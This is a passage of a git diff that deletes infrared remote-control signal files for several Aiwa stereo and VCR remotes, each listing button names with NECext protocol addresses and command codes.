-protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: MODE_TUNER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: EDIT/CHECK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: PRGM -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 45 00 00 00 -# -name: T-BASS -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir deleted file mode 100644 index b051bd09c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 0A 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 18 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 19 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 43 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 4A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 4B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 4E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 4F 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: 90 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: C4 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 7B 00 00 00 -command: DC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir deleted file mode 100644 index f2c5d8998..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: menu/i -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: child-lock -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 3F 00 00 00 -# -name: viss -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: showview -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: speed -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 48 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 56 00 00 00 -# -name: a-tr -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 5F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 82 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 83 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 89 00 00 00 -# -name: ok/clk/cnt -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 8E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 90 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: B3 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: B5 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: BA 00 00 00 -# -name: otpb -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: BF 00 00 00 -# -name: ad-skip -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: DD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir deleted file mode 100644 index b6bb077d0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0B 00 00 00 -# -name: Prog -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 15 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 1A 00 00 00 -# -name: Rep/Rand -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir deleted file mode 100644 index d4b3fa9db..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: Plus10 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: Deck -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1B 00 00 00 -# -name: Band -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: Function -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 46 00 00 00 -# -name: Bass -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: Treble -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 57 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 5F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 73 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 85 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 86 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir deleted file mode 100644 index 2bca4ebf5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 00 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 0C 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 12 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 13 00 00 00 -# -name: tape_play -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 14 00 00 00 -# -name: tape_stop -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 15 00 00 00 -# -name: tape_next -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 16 00 00 00 -# -name: tape_prev -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 17 00 00 00 -# -name: tape_rec -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 18 00 00 00 -# -name: tape_pause -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 19 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 1F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 40 00 00 00 -# -name: tunermode -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 4E 00 00 00 -# -name: repet -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 51 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 52 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 53 00 00 00 -# -name: t-standby -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 5A 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 5D 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 80 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 91 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 92 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 93 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 94 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 95 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 96 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 97 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 98 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 99 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 9A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 9B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C4 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C5 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C6 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C7 00 00 00 -# -name: dimmer -type: parsed -protocol: NECext -address: 70 00 00 00 -command: CD 00 00 00 -# -name: tray -type: parsed -protocol: NECext -address: 70 00 00 00 -command: CF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir deleted file mode 100644 index 163be3ce2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: mode_tuner -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: cd_edit/remain -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: prgm -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: function -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: preset -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: set -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: set -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 45 00 00 00 -# -name: geq -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: vocal_fader -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 50 00 00 00 -# -name: phrase_repeat -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir deleted file mode 100644 index e13a2927a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: mono -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: karaoke_enter -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: edit/check -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: prgm -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: function -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: t-bass -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: geq -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: karaoke -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 50 00 00 00 -# -name: direct1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 51 00 00 00 -# -name: direct2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 52 00 00 00 -# -name: direct3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir deleted file mode 100644 index 7275006b9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: mono -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: prgm -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: function -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 